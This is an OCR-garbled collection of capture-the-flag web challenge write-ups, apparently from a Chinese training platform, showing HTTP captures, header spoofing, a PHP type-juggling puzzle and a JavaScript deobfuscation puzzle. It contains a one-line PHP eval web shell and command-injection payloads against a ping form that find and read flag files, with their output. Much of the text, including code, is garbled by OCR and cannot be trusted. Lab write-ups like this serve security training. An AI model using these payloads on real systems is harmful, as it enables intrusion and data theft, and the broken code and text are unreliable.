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3 http:/idetectportal firefox.com GET Jeanonical html HTML html
4 http:/idetectportal firefox.com GET feanonical html HTML html
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7 http:/idetectportal firefox.com GET Jeanonical html HTML html
8 http:/idetectportal firefox.com GET Jeanonical html HTML html




B! http://111.200.241.244:54582/cookie.php i GET &K — O X

_[Raw Tl_] Hex T HTML I Render ‘

HTTP/1.1 200 OK
Date: Thu, 22 Jul 2021 15:14:21 GMT "\
Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/S.5.9-1Tubuntud.26

flag: cyberpeace{0fecb@38c4b58e84afb29784b551b4fa)
Vary: Accept-Encoding

Content-Length: 411

Connection: close

Content-Type: text/html

<htmi>
<head>
<meta charset="UTF-8">
<title>Cookie</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto: v
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POST /eheck.php HTTP/M.1

Host: 111.200.241.244:54522

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n:00.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtmi+xml . application/xml:g=0.9.image/webp,"/;q=0.8

Accept-Language: zh-CN,zh;q=0.8 =z F1 4 .en.q=0.2
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<?php
show_source(_ FILE ):
include (“config. php”) ;
$a=@$ GET[ a’]
$h=@$_GET[ ' b’
if($a==0 and Sa) {
echo $flagl;

1
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if(is_numerie ($h)) {
exit();

1

J

if($b>1234) {
echo $flag2;

>
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{?php
show_source(__FILE );:
include ("config. php”) ;
$a=08 GET[ a |;
$b=@$_GET[' b’ ];
if($a==0 and $a){
echo $§flagl;
L
if(is_numeric ($h)) {
exit () ;
L
if ($h>1234) {
echo $flag?2;
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?>
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GET/HTTPM.A
Host: 111.200.241.244:53665

Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
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UserAgent: Mozilla/5.0 (Windows NT 10.0; V]
Accept: text/html, application/xhtml+xml,apg
Accept-Language: zh-CN,zh;q=0.8,zh-TW; g5
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GET/HTTPIM1A
Host: 111.200.241.244:53665

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win84; x64; nv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,”/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5,en-US5;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

X-Fowarded-For:123.123.123.123
0 g

Ki%18 F|Raw

HTTP/1.1 200 OK

Date: Sat, 24 Jul 2021 17:31:32 GMT
Server. Apachel/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud.26
Vary: Accept-Encoding
Content-Length: 525

Connection: close

Content-Type: text/html

<html>

<head>
<meta charset="UTF-8">
«title*index </title >

<link href="http:/flibs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet' />

<style>
body{
margin-left:auto;
margin-right:auto,
margin-TOP:200PX;
width:20em);
}
</style>
</head>
<body>

<p id="demo">ip M hka4 21 123,123,123 .123</p>
<script>document.getElement Byld["de mo" Jinner HTML=" 4% 2 3 Elhttps :liwww.google .com™; </script> </body>

<fhtml>
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Referer:https://www.google.com

GET /HTTPIM A

Host: 111.200.241.244:53665

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x84; n:90.0) Gecko/20100101 Firefox/20.0
Accept: text/html, applicationfxhtmi+xml applicationfxml;q=0.9,image/webp,”/;q=0.8
AcceptLanguage: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5,en-US5;q=0.3,en;q=0.2
AcceptEncoding: gzip, deflate

Connection: close
Upgrade-Insecure-Requests: 1
X-Fowarded-For:123.123.123.123
Content-Length: 2
Refererhttps:/ivanw.google.com

Raw75 #flag

<p id="demo">ip M hk @425 }9123.123.123.123<p>
<script>document .get Element Byld("demo" )inner HTML= "2l 3 Elhttps :/iwww.google.com”; </script> <script>document .get Ele ment Byld( "de
mo"linnerHTML="cyberpeace{cB81264978e2c4f2135100e5e 1fbaladd}"; </script></body>

</html> B
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<?php @eval($_POST['shell']);?>
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() chr v
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M %ifii: /var/www/html/flag.txt

fvar/www/html/flag.txt
1 cyberpeace{@1b689ee3d9b8ed4dl7d780aa5ed@lea}

command_execution [l StwriteuptipineppleiRfit
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ABA: BT pingEe Bi8E Swaf XEIM&iF

BRizE: W hitp://111.200.241.244:52757

ERAS
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commandl & command2 : %&#4Tcommand2 )5 AT commandl

commandl && command2 : &EPHATcommandl/EHAT command2

commandl | command2 : H#i4Tcommand2

commandl || command2 : command1#AT KM, FATcommand2 (& command1 AT, MAEIMITcommand2)

I H &I ping I $4T -

PING

%6 %\ 2 #1 ping 127.0.0.1

b = P = - i 4l
5 A mEpingAYiiht

PING

ping -c 3 127.8.8.1

PING 127.0.8.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seq=1 ttl=64 time=0.083 ms
64 bytes from 127.0.8.1: icmp_seq=2 ttl=64 time=0.059 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.056 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, % packet loss, time 1999ms
rtt min/avg/max/mdev = ©.056/0.866/0.883/0.812 ms

MR35 IR ] &nflagfr 72 T flag.txt>C 4
PN RS X



127.0.0.1 & find / -name flag.txt

RIBREhomeHFET

ping -c 3 127.0.8.1 & find / -name flag.txt

PING 127.0.08.1 (127.8.0.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seq=1 ttl=64 time=0.859 ms
/home/flag.txt
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.048 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.855 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, ©% packet loss, time 1999ms
rtt min/avg/max/mdev = ©.048/0.854/0.859/0.004 ms

i\ 4 catik Blflag

127.0.0.1 | cat /home/flag.txt

PING

IS S EpingfJitbit

PING

ping -c¢ 3 127.9.8.1 | cat /home/flag.txt
cyberpeace{2f0c18d95b57f45d184ede583a25f8ee}
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simple_js

sy G

CIEESTEE
FERER: N>k

BRiz=: WM hitp://111.200.241.244:50868
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<html>
<head>
<title>JS</title>
<script type="text/javascript”>
function dechiffre(pass_enc) {
var pass = "70, 65, 8, 88, 32, 80, 65, 83, 83, 87, 79, 82, 68, 32, 72, 65, 72,65";
var tab = pass_enc.split(’,’');
var tab2 = pass.split(’,”);var i,j,k 1=0,m,n,0,p =
k=3+ (1) + (n=0);
n = tab2. length;
for(i = (0=0); i < (k= j =n); i++ ) {o = tabli-1];p += Strine. fromCharCode((o = tab2[il));
if (i == 5)break;}
for(i = (0=0); i < (k=3 =n); i++){
o = tab[i-11;
if(i > 5 &k i < k1)
p += String. fromCharCode ((0 = tab2[il));

”.i = 0;j = tab. length;

p += String. fromCharCode (tab2[17]);
pass = p;return pass;
}
String[“fromCharCode”] (dechiffre (”bx35\7{35\,‘12c\x35\x35\XZC\X35\){34\){2(}\){37\}{39\){2C\XBI\X31\XSE\XZC\X36\,\139\?{2C\XSI\XBI\X34\X2C\X31\X31\X36\XZC\X31\X30\X37\XZC\X34\339\X20\X35\X301)) H

h = window. prompt (' Enter password’);

alert( dechiffre(h) );

</seript>
</head>

</html>
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Y

QR EERXINE

16 HIRRE\x" 16 HIINE

FH python# Asciifil i ¥ 4 =7 7% &

5 3flag Cyberpeace{7860sErtk12}
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